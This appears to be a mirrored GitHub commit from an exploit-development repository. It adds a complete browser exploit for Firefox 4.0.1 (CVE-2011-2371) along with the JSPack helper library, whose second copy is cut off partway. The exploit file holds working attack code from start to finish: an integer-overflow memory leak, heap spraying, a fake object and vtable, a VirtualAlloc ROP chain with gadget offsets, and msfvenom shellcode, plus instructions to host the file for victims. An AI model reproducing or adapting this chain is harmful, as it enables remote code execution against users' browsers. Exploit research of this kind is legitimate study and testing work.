mirror of
https://github.com/VoidSec/Exploit-Development
synced 2026-06-08 12:50:18 +00:00
Firefox 4.0.1 - Integer Overflow
This commit is contained in:
+247
@@ -0,0 +1,247 @@
|
||||
<html>
|
||||
<body>
|
||||
<script src="jspack.js"></script><!--Importing the JSPack library -->
|
||||
<script>
|
||||
/*
|
||||
Exploit title: Firefox 4.0.1 - Integer Overflow (DEP, ASLR bypass)
|
||||
Exploit Author: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
|
||||
Date: 05/07/2022
|
||||
Vendor Homepage: https://www.mozilla.org/en-GB/firefox/new/
|
||||
Download: https://ftp.mozilla.org/pub/firefox/releases/4.0.1/win32/en-US/Firefox%20Setup%204.0.1.exe
|
||||
Affected Version: <= 4.0.1
|
||||
CVE: CVE-2011-2371
|
||||
Tested on: Windows 7 Pro x86 v.6.1.7601 SP 1 Build 7601
|
||||
Category: remote exploit
|
||||
Platform: windows
|
||||
Usage: Host this file and visit it with a vulnerable version of Mozilla Firefox; alternatively, drag and drop it
|
||||
*/
|
||||
|
||||
// General needed variables
|
||||
var memory_dump;
|
||||
var mozjs_offset = 0x1B5FB0; // pre-calculated offset (mozjs_leaked_pointer - mozjs_base_address = mozjs_offset); it has been calculated for the mozjs.dll shipped with Firefox v.4.0.1
|
||||
var jspack = new JSPack();
|
||||
|
||||
// Exploit setup start here
|
||||
var array1 = new Array; // declaring array1
|
||||
array1[0] = 0x31657376; // "vse1" placeholder , used to find the start of the array1 within the debugger (s -d 0x00000000 L?80000000 0x31657376)
|
||||
array1.length = 0xFFFFFFFC; // offset used to "reach" and retrieve the mozjs.dll pointers
|
||||
|
||||
var array2 = new Array; // declaring array2
|
||||
array2[0] = 0x32657376; // "vse2" placeholder , used to find the start of the array2 within the debugger
|
||||
|
||||
/* Memory layout up to this point (example)
|
||||
* +-----------------Heap-----------------+
|
||||
* | busy | array1 | free | busy | array2 |
|
||||
* | free | free | busy | busy | free |
|
||||
* +--------------------------------------+
|
||||
* */
|
||||
|
||||
console.log("Exploit for CVE-2011-2371");
|
||||
// Leaking mozjs.dll pointers triggering the integer overflow in the reduceRight method on array1
|
||||
console.log("[>] Leaking mozjs.dll pointers...");
|
||||
var mozjs_memory_leak = function mozjs_leak_memory(prev, current, index, array) {
|
||||
mozjs_memory_dump = current;
|
||||
throw "halt"; // used to stop the SpiderMonkey engine to run "forever" as we have a negative array length
|
||||
}
|
||||
try {
|
||||
array1.reduceRight(mozjs_memory_leak, 1, 2, 3); // calling the reduceRight method on array1, triggering the integer overflow
|
||||
} catch (e) {
|
||||
}
|
||||
|
||||
// Convert 1 double type into 2 integers type and store them
|
||||
var mozjs_raw_bytes = jspack.Pack("d", [mozjs_memory_dump]);
|
||||
var mozjs_addresses = jspack.Unpack(">L>L", mozjs_raw_bytes);
|
||||
var mozjs_ptr = mozjs_addresses[0]; // pointer to mozjs.dll
|
||||
console.log("[+] mozjs.dll leaked pointers: 0x" + mozjs_addresses[0].toString(16) + " and 0x" + mozjs_addresses[1].toString(16));
|
||||
|
||||
// Calculating the base address of mozjs.dll
|
||||
var mozjs_base_addr;
|
||||
mozjs_base_addr = mozjs_ptr - mozjs_offset; // offset has been calculated for the mozjs.dll shipped with Firefox v.4.0.1
|
||||
console.log("[+] mozjs.dll base address: 0x" + mozjs_base_addr.toString(16));
|
||||
|
||||
/* NOTE: the heap spraying, array3 initialization and array1 relocation are time sensitive. DO NOT put blocking
|
||||
* statements (e.g alert) or anything else that can cause new heap allocations in between, the exploit will fail
|
||||
* */
|
||||
|
||||
// Performing the heap spraying, filling up all the "holes" in the heap
|
||||
console.log("[>] Performing heap spraying...");
|
||||
var junk_array = []; // declaring junk_array needed to "fill the holes"
|
||||
for (var i = 0; i < 300; i++) { // allocating 300 arrays
|
||||
junk_array[i] = new Uint32Array(128); // each one of size 128
|
||||
for (var j = 0; j < 128; j++) {
|
||||
junk_array[i][j] = 0x6B6E756A; // setting each element to "junk"
|
||||
}
|
||||
}
|
||||
|
||||
/* Memory layout up to this point (example)
|
||||
* +-----------------Heap-----------------+
|
||||
* | busy | array1 | busy | busy | array2 |
|
||||
* | busy | busy | busy | busy | busy |
|
||||
* +--------------------------------------+
|
||||
* */
|
||||
|
||||
// Initializing array3; it will be later used to hold the crafted fake JavaScript object, fake vtable, ROP chain and shellcode.
|
||||
var array3 = new Uint32Array(128); // declaring array3; total size: 128 * 4 (sizeof(Uint32Array)) = 512 bytes
|
||||
for (var i = 0; i < 128; i++) {
|
||||
array3[i] = 0x33727261; // setting each element of array3 to "arr3"
|
||||
if (i === 0) {
|
||||
array3[i] = 0x33657376; // "vse3" placeholder, used to find the start of the array3 within the debugger
|
||||
}
|
||||
// these two elements will later become the fake vtable
|
||||
if (i === 126) {
|
||||
array3[i] = 0x315F736A; // "js_1" placeholder, second-last element of array3 (fake JS object) - later it will hold the object pointer value of the fake vtable
|
||||
}
|
||||
if (i === 127) {
|
||||
array3[i] = 0x325F736A; // "js_2" placeholder, last element of array3 (fake JS object) - later it will hold the JSVAL_TAG_OBJECT value of the fake vtable
|
||||
}
|
||||
}
|
||||
console.log("[>] Initializing array3: Done")
|
||||
|
||||
/* Memory layout up to this point (example)
|
||||
* +------------------Heap------------------+
|
||||
* | busy | array1 | busy | busy | array2 |
|
||||
* | busy | busy | busy | busy | busy |
|
||||
* | array3 | |
|
||||
* +----------------------------------------+
|
||||
* */
|
||||
|
||||
// Causing array1 re-allocation by resizing it
|
||||
array1[63] = 0x58657376; // "vseX" placeholder , used to find the new location of the elements of array1 within the debugger; resizing it will allocate 512 bytes after array3 (64 elements * 8 (4 data value and 4 data type))
|
||||
console.log("[>] Re-allocating array1: Done");
|
||||
|
||||
/* Memory layout up to this point (example)
|
||||
* +-----------------------Heap----------------------+
|
||||
* | busy | array1 header | busy | busy | array2 |
|
||||
* | busy | busy | busy | busy | busy |
|
||||
* | array3 | array1 elements | |
|
||||
* +-------------------------------------------------+
|
||||
* */
|
||||
|
||||
// Retrieve the new address of the elements of array1
|
||||
console.log("[>] Retrieving pointer to the new elements location of array1...");
|
||||
array2.length = 0xFFFFFFF3; // offset used to "reach" and retrieve the pointer to the new elements location of array1
|
||||
var array1_memory_leak = function array1_leak_memory(prev, current, index, array) {
|
||||
array1_memory_dump = current;
|
||||
throw "halt"; // used to stop the SpiderMonkey engine to run "forever" as we have a negative array length
|
||||
}
|
||||
try {
|
||||
array2.reduceRight(array1_memory_leak, 1, 2, 3);
|
||||
} catch (e) {
|
||||
}
|
||||
|
||||
// Convert 1 double type into 2 integers type and store them
|
||||
var array1_raw_bytes = jspack.Pack("d", [array1_memory_dump]);
|
||||
var array1_addresses = jspack.Unpack(">L>L", array1_raw_bytes);
|
||||
var reloc_array1_ptr = array1_addresses[0]; // pointer to the new elements location of array1 ("slots" array)
|
||||
console.log("[+] array1 new location: 0x" + array1_addresses[0].toString(16));
|
||||
|
||||
/* creating the following memory layout in array3
|
||||
* +---------+
|
||||
* +---------- +0x64 ----------+ | | ----Execution flow once landed in the setElem Ptr----> +-----------Fake JS object-----------+
|
||||
* | V | V | |
|
||||
* +-----Other heap memory-----+----------------------------------------------------------Array 3-------------------------------------------------------------------+-----Relocated array1------+
|
||||
* | | setElem Ptr | ROP Chain | shellcode | array3 elem | array3 elem n. | vtable Ptr | array3[125] | fake object Ptr | JSVAL_TAG_OBJECT | |
|
||||
* +---------------------------+------------------------------------------------------------------------------------------------------------------------------------+---------------------------+
|
||||
* ^ | ^ | ^
|
||||
* | | +----------------------+ +- reloc_array1_ptr
|
||||
* +------------------------------------------------------------------------------------------------+
|
||||
* */
|
||||
|
||||
// Crafting a fake JS object
|
||||
array3[126] = reloc_array1_ptr - (4 * 4); // points to array3[125], where will be the fake vtable; (elem size * n elements)
|
||||
array3[127] = 0xFFFF0007; // JSVAL_TAG_OBJECT
|
||||
console.log("[>] Crafting a fake JS object: Done");
|
||||
|
||||
// Crafting a fake vtable
|
||||
array3[125] = reloc_array1_ptr - 512 - 0x64; // vtable pointer, will point to the start of the setElem Ptr (transferring execution to it); 512=array1 length; 0x64 is a value needed to point to the setElem Ptr (it is retrieved by the mov eax, dword ptr [edi+64h] instruction that we hit once the vtable pointer is called)
|
||||
console.log("[>] Crafting a fake vatble: Done");
|
||||
|
||||
/*
|
||||
* +--------------------------------------------------------------------------------------------Array 3--------------------------------------------------------------------------------------------------------+
|
||||
* | setElem Ptr | ROP Chain | shellcode | array3 elem | vtable Ptr | array3[125] | fake object Ptr | JSVAL_TAG_OBJECT |
|
||||
* | array3[0] | array3[1]->array3[sizeof(rop)] | array3[sizeof(rop)]->array3[sizeof(shellcode)] | array3[sizeof(shellcode)]->array3[123] | array3[124] | array3[125] | array3[126] | array3[127] |
|
||||
* +-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|
||||
*/
|
||||
|
||||
// ROP chain
|
||||
var rop_index = 0;
|
||||
// stack to heap pivot, loading the content of the EBP register (array3[124] - 489 (index resulting from current[-245] (2*(-245)+1)) in the ESP register
|
||||
array3[rop_index++] = mozjs_base_addr + 0x0001A21C; // array3[0], setElem Ptr; # ADD EBP,EBX # PUSH DS # POP EDI # POP ESI # POP EBX # MOV ESP,EBP # POP EBP # RETN ** [mozjs.dll] **
|
||||
array3[rop_index++] = 0x41414141; // array3[1]; junk to compensate the POP EBP gadget
|
||||
var realign = mozjs_base_addr + 0x000DA328; // gadget that will relign the stack pointer; # INC ESP # RETN ** [mozjs.dll] **
|
||||
// execution flow after the setElem Ptr gadget will end up here (mozjs_base_addr + 0x000DA328); 0x43434342
|
||||
array3[rop_index++] = (realign & 0x000000FF) << 24; // array3[2]; 0x00000028
|
||||
array3[rop_index++] = (realign >> 8); // array3[3]; 0x006AB0A3
|
||||
|
||||
/* VirtualAlloc() ROP chain
|
||||
* EAX = NOP (0x90909090)
|
||||
* ECX = flProtect (0x40)
|
||||
* EDX = flAllocationType (0x1000)
|
||||
* EBX = dwSize
|
||||
* ESP = lpAddress (automatic)
|
||||
* EBP = ReturnTo (ptr to jmp esp)
|
||||
* ESI = ptr to VirtualAlloc()
|
||||
* EDI = ROP NOP (RETN)
|
||||
*/
|
||||
// #[---INFO:gadgets_to_set_esi:---]
|
||||
array3[rop_index++] = mozjs_base_addr + 0x00064e3c; // POP EAX # RETN [mozjs.dll]
|
||||
array3[rop_index++] = mozjs_base_addr + 0x0015d054; // ptr to &VirtualAlloc() [IAT mozjs.dll]
|
||||
array3[rop_index++] = mozjs_base_addr + 0x00028510; // MOV EAX,DWORD PTR DS:[EAX] # RETN [mozjs.dll]
|
||||
array3[rop_index++] = mozjs_base_addr + 0x001428ca; // XCHG EAX,ESI # RETN [mozjs.dll]
|
||||
// #[---INFO:gadgets_to_set_ebp:---]
|
||||
array3[rop_index++] = mozjs_base_addr + 0x000a6894; // POP EBP # RETN [mozjs.dll]
|
||||
array3[rop_index++] = mozjs_base_addr + 0x0000c8b2; // & push esp # ret [mozjs.dll]
|
||||
// #[---INFO:gadgets_to_set_ebx:---]
|
||||
array3[rop_index++] = mozjs_base_addr + 0x000aceb8; // POP EBX # RETN [mozjs.dll]
|
||||
array3[rop_index++] = 0x00000001; // 0x00000001-> ebx
|
||||
// #[---INFO:gadgets_to_set_edx:---]
|
||||
array3[rop_index++] = mozjs_base_addr + 0x0003efb8; // POP EDX # RETN [mozjs.dll]
|
||||
array3[rop_index++] = 0x00001000; // 0x00001000-> edx
|
||||
// #[---INFO:gadgets_to_set_ecx:---]
|
||||
array3[rop_index++] = mozjs_base_addr + 0x0012eb8c; // POP ECX # RETN [mozjs.dll]
|
||||
array3[rop_index++] = 0x00000040; // 0x00000040-> ecx
|
||||
// #[---INFO:gadgets_to_set_edi:---]
|
||||
array3[rop_index++] = mozjs_base_addr + 0x000a111c; // POP EDI # RETN [mozjs.dll]
|
||||
array3[rop_index++] = mozjs_base_addr + 0x00156519; // RETN (ROP NOP) [mozjs.dll]
|
||||
// #[---INFO:gadgets_to_set_eax:---]
|
||||
array3[rop_index++] = mozjs_base_addr + 0x00065193; // POP EAX # RETN [mozjs.dll]
|
||||
array3[rop_index++] = 0x90909090; // nop
|
||||
// #[---INFO:pushad:---]
|
||||
array3[rop_index++] = mozjs_base_addr + 0x000c8943; // PUSHAD # RETN [mozjs.dll]
|
||||
console.log("[>] Setting up the ROP chain: Done");
|
||||
|
||||
// Shellcode
|
||||
// msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe
|
||||
var shellcode = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
|
||||
while (shellcode.length % 4 !== 0) {
|
||||
shellcode += "\x90"; // pad the shellcode with "nop" byte up to when it is a multiple of 4
|
||||
}
|
||||
// the following piece of code "split" the shellcode every 4 bytes (accounting for endianess) and place the resulting bytes in array3's elements
|
||||
var tmp_byte = 0;
|
||||
var arr3_idx = rop_index;
|
||||
for (i = 0; i < shellcode.length; i += 4) {
|
||||
tmp_byte = 0;
|
||||
tmp_byte += shellcode[i + 3].charCodeAt(0) << 24; // append 4th byte of the shellcode, as 1st temporary byte of the opcode (endianess)
|
||||
tmp_byte += shellcode[i + 2].charCodeAt(0) << 16; // append 3rd byte of the shellcode, as 2nd temporary byte of the opcode (endianess)
|
||||
tmp_byte += shellcode[i + 1].charCodeAt(0) << 8; // append 2nd byte of the shellcode, as 3rd temporary byte of the opcode (endianess)
|
||||
tmp_byte += shellcode[i + 0].charCodeAt(0) << 0; // append 1st byte of the shellcode, as 4th temporary byte of the opcode (endianess)
|
||||
array3[arr3_idx] = tmp_byte; // place the resulting opcode in array3's elements
|
||||
arr3_idx++;
|
||||
}
|
||||
console.log("[>] Setting up the shellcode: Done");
|
||||
|
||||
// Reach the fake JavaScript object
|
||||
console.log("[>] Triggering the reduceRight method on array1 to execute code");
|
||||
alert("Press 'OK' to pop calc");
|
||||
array1.length = 0x9FFFFFFF + 1; // offset used to "reach" the fake JavaScript object
|
||||
var leak_func = function func(prev, current, index, array) {
|
||||
current[-245] = 1; // trigger the setElem function; will go to the fake vtable, transfer code execution to the setElem ptr which in turn will execute the stack to heap gadget; then the execution flow will proceed with the ROP chain and the shellcode execution
|
||||
throw "halt"; // used to stop the SpiderMonkey engine to run "forever" as we have a negative array length
|
||||
}
|
||||
try {
|
||||
array1.reduceRight(leak_func, 1, 2, 3);
|
||||
} catch (e) {
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,252 @@
|
||||
/*!
|
||||
* Copyright © 2008 Fair Oaks Labs, Inc.
|
||||
* All rights reserved.
|
||||
*/
|
||||
|
||||
// Utility object: Encode/Decode C-style binary primitives to/from octet arrays
|
||||
function JSPack()
|
||||
{
|
||||
// Module-level (private) variables
|
||||
var el, bBE = false, m = this;
|
||||
|
||||
|
||||
// Raw byte arrays
|
||||
m._DeArray = function (a, p, l)
|
||||
{
|
||||
return [a.slice(p,p+l)];
|
||||
};
|
||||
m._EnArray = function (a, p, l, v)
|
||||
{
|
||||
for (var i = 0; i < l; a[p+i] = v[i]?v[i]:0, i++);
|
||||
};
|
||||
|
||||
// ASCII characters
|
||||
m._DeChar = function (a, p)
|
||||
{
|
||||
return String.fromCharCode(a[p]);
|
||||
};
|
||||
m._EnChar = function (a, p, v)
|
||||
{
|
||||
a[p] = v.charCodeAt(0);
|
||||
};
|
||||
|
||||
// Little-endian (un)signed N-byte integers
|
||||
m._DeInt = function (a, p)
|
||||
{
|
||||
var lsb = bBE?(el.len-1):0, nsb = bBE?-1:1, stop = lsb+nsb*el.len, rv, i, f;
|
||||
for (rv = 0, i = lsb, f = 1; i != stop; rv+=(a[p+i]*f), i+=nsb, f*=256);
|
||||
if (el.bSigned && (rv & Math.pow(2, el.len*8-1))) { rv -= Math.pow(2, el.len*8); }
|
||||
return rv;
|
||||
};
|
||||
m._EnInt = function (a, p, v)
|
||||
{
|
||||
var lsb = bBE?(el.len-1):0, nsb = bBE?-1:1, stop = lsb+nsb*el.len, i;
|
||||
v = (v<el.min)?el.min:(v>el.max)?el.max:v;
|
||||
for (i = lsb; i != stop; a[p+i]=v&0xff, i+=nsb, v>>=8);
|
||||
};
|
||||
|
||||
// ASCII character strings
|
||||
m._DeString = function (a, p, l)
|
||||
{
|
||||
for (var rv = new Array(l), i = 0; i < l; rv[i] = String.fromCharCode(a[p+i]), i++);
|
||||
return rv.join('');
|
||||
};
|
||||
m._EnString = function (a, p, l, v)
|
||||
{
|
||||
for (var t, i = 0; i < l; a[p+i] = (t=v.charCodeAt(i))?t:0, i++);
|
||||
};
|
||||
|
||||
// Little-endian N-bit IEEE 754 floating point
|
||||
m._De754 = function (a, p)
|
||||
{
|
||||
var s, e, m, i, d, nBits, mLen, eLen, eBias, eMax;
|
||||
mLen = el.mLen, eLen = el.len*8-el.mLen-1, eMax = (1<<eLen)-1, eBias = eMax>>1;
|
||||
|
||||
i = bBE?0:(el.len-1); d = bBE?1:-1; s = a[p+i]; i+=d; nBits = -7;
|
||||
for (e = s&((1<<(-nBits))-1), s>>=(-nBits), nBits += eLen; nBits > 0; e=e*256+a[p+i], i+=d, nBits-=8);
|
||||
for (m = e&((1<<(-nBits))-1), e>>=(-nBits), nBits += mLen; nBits > 0; m=m*256+a[p+i], i+=d, nBits-=8);
|
||||
|
||||
switch (e)
|
||||
{
|
||||
case 0:
|
||||
// Zero, or denormalized number
|
||||
e = 1-eBias;
|
||||
break;
|
||||
case eMax:
|
||||
// NaN, or +/-Infinity
|
||||
return m?NaN:((s?-1:1)*Infinity);
|
||||
default:
|
||||
// Normalized number
|
||||
m = m + Math.pow(2, mLen);
|
||||
e = e - eBias;
|
||||
break;
|
||||
}
|
||||
return (s?-1:1) * m * Math.pow(2, e-mLen);
|
||||
};
|
||||
m._En754 = function (a, p, v)
|
||||
{
|
||||
var s, e, m, i, d, c, mLen, eLen, eBias, eMax;
|
||||
mLen = el.mLen, eLen = el.len*8-el.mLen-1, eMax = (1<<eLen)-1, eBias = eMax>>1;
|
||||
|
||||
s = v<0?1:0;
|
||||
v = Math.abs(v);
|
||||
if (isNaN(v) || (v == Infinity))
|
||||
{
|
||||
m = isNaN(v)?1:0;
|
||||
e = eMax;
|
||||
}
|
||||
else
|
||||
{
|
||||
e = Math.floor(Math.log(v)/Math.LN2); // Calculate log2 of the value
|
||||
if (v*(c = Math.pow(2, -e)) < 1) { e--; c*=2; } // Math.log() isn't 100% reliable
|
||||
|
||||
// Round by adding 1/2 the significand's LSD
|
||||
if (e+eBias >= 1) { v += el.rt/c; } // Normalized: mLen significand digits
|
||||
else { v += el.rt*Math.pow(2, 1-eBias); } // Denormalized: <= mLen significand digits
|
||||
if (v*c >= 2) { e++; c/=2; } // Rounding can increment the exponent
|
||||
|
||||
if (e+eBias >= eMax)
|
||||
{
|
||||
// Overflow
|
||||
m = 0;
|
||||
e = eMax;
|
||||
}
|
||||
else if (e+eBias >= 1)
|
||||
{
|
||||
// Normalized - term order matters, as Math.pow(2, 52-e) and v*Math.pow(2, 52) can overflow
|
||||
m = (v*c-1)*Math.pow(2, mLen);
|
||||
e = e + eBias;
|
||||
}
|
||||
else
|
||||
{
|
||||
// Denormalized - also catches the '0' case, somewhat by chance
|
||||
m = v*Math.pow(2, eBias-1)*Math.pow(2, mLen);
|
||||
e = 0;
|
||||
}
|
||||
}
|
||||
|
||||
for (i = bBE?(el.len-1):0, d=bBE?-1:1; mLen >= 8; a[p+i]=m&0xff, i+=d, m/=256, mLen-=8);
|
||||
for (e=(e<<mLen)|m, eLen+=mLen; eLen > 0; a[p+i]=e&0xff, i+=d, e/=256, eLen-=8);
|
||||
a[p+i-d] |= s*128;
|
||||
};
|
||||
|
||||
|
||||
// Class data
|
||||
m._sPattern = '(\\d+)?([AxcbBhHsfdiIlL])';
|
||||
m._lenLut = {'A':1, 'x':1, 'c':1, 'b':1, 'B':1, 'h':2, 'H':2, 's':1, 'f':4, 'd':8, 'i':4, 'I':4, 'l':4, 'L':4};
|
||||
m._elLut = { 'A': {en:m._EnArray, de:m._DeArray},
|
||||
's': {en:m._EnString, de:m._DeString},
|
||||
'c': {en:m._EnChar, de:m._DeChar},
|
||||
'b': {en:m._EnInt, de:m._DeInt, len:1, bSigned:true, min:-Math.pow(2, 7), max:Math.pow(2, 7)-1},
|
||||
'B': {en:m._EnInt, de:m._DeInt, len:1, bSigned:false, min:0, max:Math.pow(2, 8)-1},
|
||||
'h': {en:m._EnInt, de:m._DeInt, len:2, bSigned:true, min:-Math.pow(2, 15), max:Math.pow(2, 15)-1},
|
||||
'H': {en:m._EnInt, de:m._DeInt, len:2, bSigned:false, min:0, max:Math.pow(2, 16)-1},
|
||||
'i': {en:m._EnInt, de:m._DeInt, len:4, bSigned:true, min:-Math.pow(2, 31), max:Math.pow(2, 31)-1},
|
||||
'I': {en:m._EnInt, de:m._DeInt, len:4, bSigned:false, min:0, max:Math.pow(2, 32)-1},
|
||||
'l': {en:m._EnInt, de:m._DeInt, len:4, bSigned:true, min:-Math.pow(2, 31), max:Math.pow(2, 31)-1},
|
||||
'L': {en:m._EnInt, de:m._DeInt, len:4, bSigned:false, min:0, max:Math.pow(2, 32)-1},
|
||||
'f': {en:m._En754, de:m._De754, len:4, mLen:23, rt:Math.pow(2, -24)-Math.pow(2, -77)},
|
||||
'd': {en:m._En754, de:m._De754, len:8, mLen:52, rt:0}};
|
||||
|
||||
// Unpack a series of n elements of size s from array a at offset p with fxn
|
||||
m._UnpackSeries = function (n, s, a, p)
|
||||
{
|
||||
for (var fxn = el.de, rv = [], i = 0; i < n; rv.push(fxn(a, p+i*s)), i++);
|
||||
return rv;
|
||||
};
|
||||
|
||||
// Pack a series of n elements of size s from array v at offset i to array a at offset p with fxn
|
||||
m._PackSeries = function (n, s, a, p, v, i)
|
||||
{
|
||||
for (var fxn = el.en, o = 0; o < n; fxn(a, p+o*s, v[i+o]), o++);
|
||||
};
|
||||
|
||||
// Unpack the octet array a, beginning at offset p, according to the fmt string
|
||||
m.Unpack = function (fmt, a, p)
|
||||
{
|
||||
// Set the private bBE flag based on the format string - assume big-endianness
|
||||
bBE = (fmt.charAt(0) != '<');
|
||||
|
||||
p = p?p:0;
|
||||
var re = new RegExp(this._sPattern, 'g'), m, n, s, rv = [];
|
||||
while (m = re.exec(fmt))
|
||||
{
|
||||
n = ((m[1]==undefined)||(m[1]==''))?1:parseInt(m[1]);
|
||||
s = this._lenLut[m[2]];
|
||||
if ((p + n*s) > a.length)
|
||||
{
|
||||
return undefined;
|
||||
}
|
||||
switch (m[2])
|
||||
{
|
||||
case 'A': case 's':
|
||||
rv.push(this._elLut[m[2]].de(a, p, n));
|
||||
break;
|
||||
case 'c': case 'b': case 'B': case 'h': case 'H':
|
||||
case 'i': case 'I': case 'l': case 'L': case 'f': case 'd':
|
||||
el = this._elLut[m[2]];
|
||||
rv.push(this._UnpackSeries(n, s, a, p));
|
||||
break;
|
||||
}
|
||||
p += n*s;
|
||||
}
|
||||
return Array.prototype.concat.apply([], rv);
|
||||
};
|
||||
|
||||
// Pack the supplied values into the octet array a, beginning at offset p, according to the fmt string
|
||||
m.PackTo = function (fmt, a, p, values)
|
||||
{
|
||||
// Set the private bBE flag based on the format string - assume big-endianness
|
||||
bBE = (fmt.charAt(0) != '<');
|
||||
|
||||
var re = new RegExp(this._sPattern, 'g'), m, n, s, i = 0, j;
|
||||
while (m = re.exec(fmt))
|
||||
{
|
||||
n = ((m[1]==undefined)||(m[1]==''))?1:parseInt(m[1]);
|
||||
s = this._lenLut[m[2]];
|
||||
if ((p + n*s) > a.length)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
switch (m[2])
|
||||
{
|
||||
case 'A': case 's':
|
||||
if ((i + 1) > values.length) { return false; }
|
||||
this._elLut[m[2]].en(a, p, n, values[i]);
|
||||
i += 1;
|
||||
break;
|
||||
case 'c': case 'b': case 'B': case 'h': case 'H':
|
||||
case 'i': case 'I': case 'l': case 'L': case 'f': case 'd':
|
||||
el = this._elLut[m[2]];
|
||||
if ((i + n) > values.length) { return false; }
|
||||
this._PackSeries(n, s, a, p, values, i);
|
||||
i += n;
|
||||
break;
|
||||
case 'x':
|
||||
for (j = 0; j < n; j++) { a[p+j] = 0; }
|
||||
break;
|
||||
}
|
||||
p += n*s;
|
||||
}
|
||||
return a;
|
||||
};
|
||||
|
||||
// Pack the supplied values into a new octet array, according to the fmt string
|
||||
m.Pack = function (fmt, values)
|
||||
{
|
||||
return this.PackTo(fmt, new Array(this.CalcLength(fmt)), 0, values);
|
||||
};
|
||||
|
||||
// Determine the number of bytes represented by the format string
|
||||
m.CalcLength = function (fmt)
|
||||
{
|
||||
var re = new RegExp(this._sPattern, 'g'), m, sum = 0;
|
||||
while (m = re.exec(fmt))
|
||||
{
|
||||
sum += (((m[1]==undefined)||(m[1]==''))?1:parseInt(m[1])) * this._lenLut[m[2]];
|
||||
}
|
||||
return sum;
|
||||
};
|
||||
};
|
||||
|
||||
exports.jspack = new JSPack();
|
||||
@@ -0,0 +1,250 @@
|
||||
/*!
|
||||
* Copyright © 2008 Fair Oaks Labs, Inc.
|
||||
* All rights reserved.
|
||||
*/
|
||||
|
||||
// Utility object: Encode/Decode C-style binary primitives to/from octet arrays
|
||||
var Struct = new function ()
|
||||
{
|
||||
// Module-level (private) variables
|
||||
var el, bBE = false, m = this;
|
||||
|
||||
|
||||
// Raw byte arrays
|
||||
m._DeArray = function (a, p, l)
|
||||
{
|
||||
return [a.slice(p,p+l)];
|
||||
};
|
||||
m._EnArray = function (a, p, l, v)
|
||||
{
|
||||
for (var i = 0; i < l; a[p+i] = v[i]?v[i]:0, i++);
|
||||
};
|
||||
|
||||
// ASCII characters
|
||||
m._DeChar = function (a, p)
|
||||
{
|
||||
return String.fromCharCode(a[p]);
|
||||
};
|
||||
m._EnChar = function (a, p, v)
|
||||
{
|
||||
a[p] = v.charCodeAt(0);
|
||||
};
|
||||
|
||||
// Little-endian (un)signed N-byte integers
|
||||
m._DeInt = function (a, p)
|
||||
{
|
||||
var lsb = bBE?(el.len-1):0, nsb = bBE?-1:1, stop = lsb+nsb*el.len, rv, i, f;
|
||||
for (rv = 0, i = lsb, f = 1; i != stop; rv+=(a[p+i]*f), i+=nsb, f*=256);
|
||||
if (el.bSigned && (rv & Math.pow(2, el.len*8-1))) { rv -= Math.pow(2, el.len*8); }
|
||||
return rv;
|
||||
};
|
||||
m._EnInt = function (a, p, v)
|
||||
{
|
||||
var lsb = bBE?(el.len-1):0, nsb = bBE?-1:1, stop = lsb+nsb*el.len, i;
|
||||
v = (v<el.min)?el.min:(v>el.max)?el.max:v;
|
||||
for (i = lsb; i != stop; a[p+i]=v&0xff, i+=nsb, v>>=8);
|
||||
};
|
||||
|
||||
// ASCII character strings
|
||||
m._DeString = function (a, p, l)
|
||||
{
|
||||
for (var rv = new Array(l), i = 0; i < l; rv[i] = String.fromCharCode(a[p+i]), i++);
|
||||
return rv.join('');
|
||||
};
|
||||
m._EnString = function (a, p, l, v)
|
||||
{
|
||||
for (var t, i = 0; i < l; a[p+i] = (t=v.charCodeAt(i))?t:0, i++);
|
||||
};
|
||||
|
||||
// Little-endian N-bit IEEE 754 floating point
|
||||
m._De754 = function (a, p)
|
||||
{
|
||||
var s, e, m, i, d, nBits, mLen, eLen, eBias, eMax;
|
||||
mLen = el.mLen, eLen = el.len*8-el.mLen-1, eMax = (1<<eLen)-1, eBias = eMax>>1;
|
||||
|
||||
i = bBE?0:(el.len-1); d = bBE?1:-1; s = a[p+i]; i+=d; nBits = -7;
|
||||
for (e = s&((1<<(-nBits))-1), s>>=(-nBits), nBits += eLen; nBits > 0; e=e*256+a[p+i], i+=d, nBits-=8);
|
||||
for (m = e&((1<<(-nBits))-1), e>>=(-nBits), nBits += mLen; nBits > 0; m=m*256+a[p+i], i+=d, nBits-=8);
|
||||
|
||||
switch (e)
|
||||
{
|
||||
case 0:
|
||||
// Zero, or denormalized number
|
||||
e = 1-eBias;
|
||||
break;
|
||||
case eMax:
|
||||
// NaN, or +/-Infinity
|
||||
return m?NaN:((s?-1:1)*Infinity);
|
||||
default:
|
||||
// Normalized number
|
||||
m = m + Math.pow(2, mLen);
|
||||
e = e - eBias;
|
||||
break;
|
||||
}
|
||||
return (s?-1:1) * m * Math.pow(2, e-mLen);
|
||||
};
|
||||
m._En754 = function (a, p, v)
|
||||
{
|
||||
var s, e, m, i, d, c, mLen, eLen, eBias, eMax;
|
||||
